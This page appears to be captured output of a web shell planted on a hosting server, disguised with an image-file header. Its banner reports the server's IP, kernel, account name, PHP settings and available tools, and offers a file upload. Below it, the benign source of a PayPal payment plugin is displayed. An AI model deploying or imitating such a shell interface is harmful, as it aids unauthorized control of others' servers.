����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 18.216.60.85 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/greatlifehub.ng/glfiles.name.ng/plugins/paypal/ |
Upload File : |
<?php // plugin namespace namespace Plugins\Paypal; // core includes use App\Services\Plugin; use Plugins\Paypal\PluginConfig; class PluginPaypal extends Plugin { public $config = null; public $data = null; public $settings = null; public function __construct() { // load plugin config $this->config = (new PluginConfig())->getPluginConfig(); } public function registerRoutes(\FastRoute\RouteCollector $r) { // register plugin routes $r->addRoute(['GET', 'POST'], '/'.ADMIN_FOLDER_NAME.'/plugin/'.$this->config['folder_name'].'/settings', '\plugins\\'.$this->config['folder_name'].'\controllers\admin\PluginController/pluginSettings'); $r->addRoute(['GET', 'POST'], '/'.$this->config['folder_name'].'/pay', '\plugins\\'.$this->config['folder_name'].'\controllers\\'.ucwords($this->config['folder_name']).'Controller/pay'); $r->addRoute(['GET', 'POST'], '/'.$this->config['folder_name'].'/payment_ipn', '\plugins\\'.$this->config['folder_name'].'\controllers\\'.ucwords($this->config['folder_name']).'Controller/paymentIpn'); } public function getPluginDetails() { return $this->config; } }